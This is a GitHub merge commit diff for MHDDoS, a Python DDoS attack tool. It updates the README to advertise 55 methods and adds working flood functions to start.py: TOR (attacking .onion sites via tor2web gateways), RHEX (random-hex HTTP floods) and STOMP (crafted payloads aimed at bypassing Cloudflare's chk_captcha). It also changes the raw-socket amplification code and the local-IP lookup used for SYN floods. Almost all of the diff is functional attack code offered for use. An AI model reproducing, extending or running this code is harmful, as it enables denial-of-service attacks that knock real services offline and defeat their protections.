Merge branch 'MatrixTM:main' into main

This commit is contained in:
NinjutsuDEV 2022-05-02 20:06:43 +01:00 committed by GitHub
commit b150a086d4
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 271 additions and 202 deletions

View File

@ -1,6 +1,6 @@
<p align="center"><img src="https://cdn.discordapp.com/attachments/938175699326484490/948263435412598864/unknown_2.png" width="400px" height="150px" alt="ddos"></p>
<h1 align="center">MHDDoS - DDoS Attack Script With 51 Methods</h1>
<h1 align="center">MHDDoS - DDoS Attack Script With 55 Methods</h1>
<em><h5 align="center">(Programming Language - Python 3)</h5></em>
<p align="center">
@ -22,6 +22,8 @@
* <img src="https://img.icons8.com/cotton/344/domain.png" width="16" height="16" alt="get"> GET | GET Flood
* <img src="https://cdn0.iconfinder.com/data/icons/database-storage-5/60/server__database__fire__burn__safety-512.png" width="16" height="16" alt="post"> POST | POST Flood
* <img src="https://upload.wikimedia.org/wikipedia/en/thumb/f/f9/OVH_Logo.svg/1200px-OVH_Logo.svg.png" width="16" height="16" alt="ovh"> OVH | Bypass OVH
* <img src="https://cdn-icons-png.flaticon.com/512/1691/1691948.png" width="16" height="16" alt="ovh"> RHEX | Random HEX
* <img src="https://cdn-icons-png.flaticon.com/512/4337/4337972.png" width="16" height="16" alt="ovh"> STOMP | Bypass chk_captcha
* <img src="https://cdn.iconscout.com/icon/premium/png-256-thumb/cyber-bullying-2557797-2152371.png" width="16" height="16" alt="stress"> STRESS | Send HTTP Packet With High Byte
* <img src="https://pbs.twimg.com/profile_images/1351562987224641544/IKb4q_yd_400x400.jpg" width="16" height="16" alt="dyn"> DYN | A New Method With Random SubDomain
* <img src="https://cdn-icons-png.flaticon.com/512/6991/6991643.png" width="16" height="16" alt="downloader"> DOWNLOADER | A New Method of Reading data slowly
@ -82,7 +84,7 @@ python3 start.py tools
#### Issues ?
* Telegram : https://t.me/DD0SChat
* Discord : https://discord.gg/ah7bfjSnhk
* Discord : Soon as soon ... :)
* [GitHub][github]
#### Like the project? Leave a star on the repository!

159
start.py
View File

@ -9,6 +9,7 @@ from math import log2, trunc
from multiprocessing import RawValue
from os import urandom as randbytes
from pathlib import Path
from re import compile
from secrets import choice as randchoice
from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM,
SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
@ -34,8 +35,6 @@ from impacket.ImpactPacket import IP, TCP, UDP, Data
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
from requests import Response, Session, exceptions, get, cookies
from yarl import URL
from re import compile
basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
datefmt="%H:%M:%S")
@ -48,28 +47,14 @@ ctx.verify_mode = CERT_NONE
__version__: str = "2.4 SNAPSHOT"
__dir__: Path = Path(__file__).parent
__ip__: Any = None
tor2webs = ['onion.ly', 'tor2web.to', 'onion.org', 'onion.pet', 'onion.ws', 'onion.top', 'onion.dog']
with open(__dir__ / "config.json") as f:
con = load(f)
def getMyIPAddress():
global __ip__
if __ip__:
return __ip__
with suppress(Exception):
return get('https://api.my-ip.io/ip', timeout=.1).text
with suppress(Exception):
return get('https://ipwhois.app/json/', timeout=.1).json()["ip"]
with suppress(Exception):
return get('https://ipinfo.io/json', timeout=.1).json()["ip"]
with suppress(Exception):
return ProxyTools.Patterns.IP.search(get('http://checkip.dyndns.org/', timeout=.1).text)
with suppress(Exception):
return ProxyTools.Patterns.IP.search(get('https://spaceiran.com/myip/', timeout=.1).text)
with suppress(Exception):
return get('https://ip.42.pl/raw', timeout=.1).text
return getMyIPAddress()
with socket(AF_INET, SOCK_DGRAM) as s:
s.connect(("8.8.8.8", 80))
__ip__ = s.getsockname()[0]
class bcolors:
@ -84,10 +69,9 @@ class bcolors:
UNDERLINE = '\033[4m'
def exit(*message):
if message:
logger.error(bcolors.FAIL +" ".join(message) + bcolors.RESET)
logger.error(bcolors.FAIL + " ".join(message) + bcolors.RESET)
shutdown()
_exit(1)
@ -96,16 +80,14 @@ class Methods:
LAYER7_METHODS: Set[str] = {
"CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD",
"NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB", "CFBUAM",
"APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER"
"APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER", "TOR", "RHEX", "STOMP"
}
LAYER4_AMP: Set[str] = {
"MEM", "NTP", "DNS", "ARD",
"CLDAP", "CHAR", "RDP"
}
LAYER4_METHODS: Set[str] = {*LAYER4_AMP,
"TCP", "UDP", "SYN", "VSE", "MINECRAFT",
"MCBOT", "CONNECTION", "CPS", "FIVEM", "TS3", "MCPE"
@ -181,7 +163,7 @@ class Tools:
@staticmethod
def randchr(lengh: int) -> str:
return str(ProxyTools.Tools.rand_char(lengh)).strip()
return str(ProxyTools.Random.rand_char(lengh)).strip()
@staticmethod
def send(sock: socket, packet: bytes):
@ -207,7 +189,7 @@ class Tools:
idss = None
with Session() as s:
if pro:
s.proxies=pro
s.proxies = pro
hdrs = {
"User-Agent": ua,
"Accept": "text/html",
@ -472,12 +454,11 @@ class Layer4(Thread):
Tools.safe_close(s)
def AMP(self) -> None:
payload = next(self._amp_payloads)
s = None
with suppress(Exception), socket(AF_INET, SOCK_RAW,
IPPROTO_UDP) as s:
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
while Tools.sendto(s, *payload):
while Tools.sendto(s, *next(self._amp_payloads)):
continue
Tools.safe_close(s)
@ -665,7 +646,7 @@ class HttpFlood(Thread):
(other if other else "") +
"\r\n"))
def open_connection(self) -> socket:
def open_connection(self, host=None) -> socket:
if self._proxies:
sock = randchoice(self._proxies).open_socket(AF_INET, SOCK_STREAM)
else:
@ -673,11 +654,11 @@ class HttpFlood(Thread):
sock.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
sock.settimeout(.9)
sock.connect(self._raw_target)
sock.connect(host or self._raw_target)
if self._target.scheme.lower() == "https":
sock = ctx.wrap_socket(sock,
server_hostname=self._target.host,
server_hostname=host[0] if host else self._target.host,
server_side=False,
do_handshake_on_connect=True,
suppress_ragged_eofs=True)
@ -691,9 +672,9 @@ class HttpFlood(Thread):
@staticmethod
def getMethodType(method: str) -> str:
return "GET" if {method.upper()} & {"CFB", "CFBUAM", "GET", "COOKIE", "OVH", "EVEN",
return "GET" if {method.upper()} & {"CFB", "CFBUAM", "GET", "TOR", "COOKIE", "OVH", "EVEN",
"DYN", "SLOW", "PPS", "APACHE",
"BOT", } \
"BOT", "RHEX", "STOMP"} \
else "POST" if {method.upper()} & {"POST", "XMLRPC", "STRESS"} \
else "HEAD" if {method.upper()} & {"GSB", "HEAD"} \
else "REQUESTS"
@ -710,6 +691,20 @@ class HttpFlood(Thread):
Tools.send(s, payload)
Tools.safe_close(s)
def TOR(self) -> None:
provider = "." + randchoice(tor2webs)
target = self._target.authority.replace(".onion", provider)
payload: Any = str.encode(self._payload +
f"Host: {target}\r\n" +
self.randHeadercontent +
"\r\n")
s = None
target = self._target.host.replace(".onion", provider), self._raw_target[1]
with suppress(Exception), self.open_connection(target) as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def STRESS(self) -> None:
payload: bytes = self.generate_payload(
("Content-Length: 524\r\n"
@ -867,13 +862,12 @@ class HttpFlood(Thread):
Tools.send(s, payload)
Tools.safe_close(s)
def DGB(self):
global REQUESTS_SENT, BYTES_SEND
with suppress(Exception):
if self._proxies:
pro = randchoice(self._proxies)
with Tools.dgb_solver(self._target.human_repr(),randchoice(self._useragents),pro.asRequest()) as ss:
with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents), pro.asRequest()) as ss:
for _ in range(min(self._rpc, 5)):
sleep(min(self._rpc, 5) / 100)
with ss.get(self._target.human_repr(),
@ -884,7 +878,7 @@ class HttpFlood(Thread):
Tools.safe_close(ss)
with Tools.dgb_solver(self._target.human_repr(),randchoice(self._useragents)) as ss:
with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents)) as ss:
for _ in range(min(self._rpc, 5)):
sleep(min(self._rpc, 5) / 100)
with ss.get(self._target.human_repr()) as res:
@ -893,8 +887,6 @@ class HttpFlood(Thread):
Tools.safe_close(ss)
def DYN(self):
payload: Any = str.encode(self._payload +
f"Host: {ProxyTools.Random.rand_str(6)}.{self._target.authority}\r\n" +
@ -964,6 +956,69 @@ class HttpFlood(Thread):
Tools.send(s, payload)
Tools.safe_close(s)
def RHEX(self):
randhex = str(randbytes(randchoice([32, 64, 128])))
payload = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
self._target.authority,
randhex) +
"Host: %s/%s\r\n" % (self._target.authority, randhex) +
self.randHeadercontent +
'Accept-Encoding: gzip, deflate, br\r\n'
'Accept-Language: en-US,en;q=0.9\r\n'
'Cache-Control: max-age=0\r\n'
'Connection: keep-alive\r\n'
'Sec-Fetch-Dest: document\r\n'
'Sec-Fetch-Mode: navigate\r\n'
'Sec-Fetch-Site: none\r\n'
'Sec-Fetch-User: ?1\r\n'
'Sec-Gpc: 1\r\n'
'Pragma: no-cache\r\n'
'Upgrade-Insecure-Requests: 1\r\n\r\n')
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def STOMP(self):
dep = ('Accept-Encoding: gzip, deflate, br\r\n'
'Accept-Language: en-US,en;q=0.9\r\n'
'Cache-Control: max-age=0\r\n'
'Connection: keep-alive\r\n'
'Sec-Fetch-Dest: document\r\n'
'Sec-Fetch-Mode: navigate\r\n'
'Sec-Fetch-Site: none\r\n'
'Sec-Fetch-User: ?1\r\n'
'Sec-Gpc: 1\r\n'
'Pragma: no-cache\r\n'
'Upgrade-Insecure-Requests: 1\r\n\r\n')
hexh = r'\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87' \
r'\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F' \
r'\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F' \
r'\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84' \
r'\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F' \
r'\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98' \
r'\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98' \
r'\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B' \
r'\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99' \
r'\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C' \
r'\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA '
p1, p2 = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
self._target.authority,
hexh) +
"Host: %s/%s\r\n" % (self._target.authority, hexh) +
self.randHeadercontent + dep), str.encode(
"%s %s/cdn-cgi/l/chk_captcha HTTP/1.1\r\n" % (self._req_type,
self._target.authority) +
"Host: %s\r\n" % hexh +
self.randHeadercontent + dep)
s = None
with suppress(Exception), self.open_connection() as s:
Tools.send(s, p1)
for _ in range(self._rpc):
Tools.send(s, p2)
Tools.safe_close(s)
def NULL(self) -> None:
payload: Any = str.encode(self._payload +
f"Host: {self._target.authority}\r\n" +
@ -1047,10 +1102,16 @@ class HttpFlood(Thread):
self.SENT_FLOOD = self.SLOW
if name == "GSB":
self.SENT_FLOOD = self.GSB
if name == "RHEX":
self.SENT_FLOOD = self.RHEX
if name == "STOMP":
self.SENT_FLOOD = self.STOMP
if name == "NULL":
self.SENT_FLOOD = self.NULL
if name == "COOKIE":
self.SENT_FLOOD = self.COOKIES
if name == "TOR":
self.SENT_FLOOD = self.TOR
if name == "PPS":
self.SENT_FLOOD = self.PPS
self._defaultpayload = (
@ -1070,7 +1131,9 @@ class ProxyManager:
provider for provider in cf["proxy-providers"]
if provider["type"] == Proxy_type or Proxy_type == 0
]
logger.info(f"{bcolors.WARNING}Downloading Proxies from {bcolors.OKBLUE}%d{bcolors.WARNING} Providers{bcolors.RESET}" % len(providrs))
logger.info(
f"{bcolors.WARNING}Downloading Proxies from {bcolors.OKBLUE}%d{bcolors.WARNING} Providers{bcolors.RESET}" % len(
providrs))
proxes: Set[Proxy] = set()
with ThreadPoolExecutor(len(providrs)) as executor:
@ -1366,7 +1429,8 @@ def handleProxyList(con, proxy_li, proxy_ty, url=None):
if proxy_ty == 6:
proxy_ty = randchoice([4, 5, 1])
if not proxy_li.exists():
logger.warning(f"{bcolors.WARNING}The file doesn't exist, creating files and downloading proxies.{bcolors.RESET}")
logger.warning(
f"{bcolors.WARNING}The file doesn't exist, creating files and downloading proxies.{bcolors.RESET}")
proxy_li.parent.mkdir(parents=True, exist_ok=True)
with proxy_li.open("w") as wr:
Proxies: Set[Proxy] = ProxyManager.DownloadFromConfig(con, proxy_ty)
@ -1413,7 +1477,7 @@ if __name__ == '__main__':
method = one
host = None
port= None
port = None
url = None
event = Event()
event.clear()
@ -1426,14 +1490,16 @@ if __name__ == '__main__':
exit("Method Not Found %s" %
", ".join(Methods.ALL_METHODS))
if method in Methods.LAYER7_METHODS:
url = URL(urlraw)
host = url.host
if method != "TOR":
try:
host = gethostbyname(url.host)
except Exception as e:
exit('Cannot resolve hostname ', url.host, e)
exit('Cannot resolve hostname ', url.host, str(e))
threads = int(argv[4])
rpc = int(argv[6])
timer = int(argv[7])
@ -1513,7 +1579,7 @@ if __name__ == '__main__':
port = 80
if method == "SYN":
__ip__ = getMyIPAddress()
__ip__ = __ip__
if len(argv) >= 6:
argfive = argv[5].strip()
@ -1549,7 +1615,8 @@ if __name__ == '__main__':
event.set()
ts = time()
while time() < ts + timer:
logger.debug(f'{bcolors.WARNING}Target:{bcolors.OKBLUE} %s,{bcolors.WARNING} Port:{bcolors.OKBLUE} %s,{bcolors.WARNING} Method:{bcolors.OKBLUE} %s{bcolors.WARNING} PPS:{bcolors.OKBLUE} %s,{bcolors.WARNING} BPS:{bcolors.OKBLUE} %s / %d%%{bcolors.RESET}' %
logger.debug(
f'{bcolors.WARNING}Target:{bcolors.OKBLUE} %s,{bcolors.WARNING} Port:{bcolors.OKBLUE} %s,{bcolors.WARNING} Method:{bcolors.OKBLUE} %s{bcolors.WARNING} PPS:{bcolors.OKBLUE} %s,{bcolors.WARNING} BPS:{bcolors.OKBLUE} %s / %d%%{bcolors.RESET}' %
(target or url.host,
port or (url.port or 80),
method,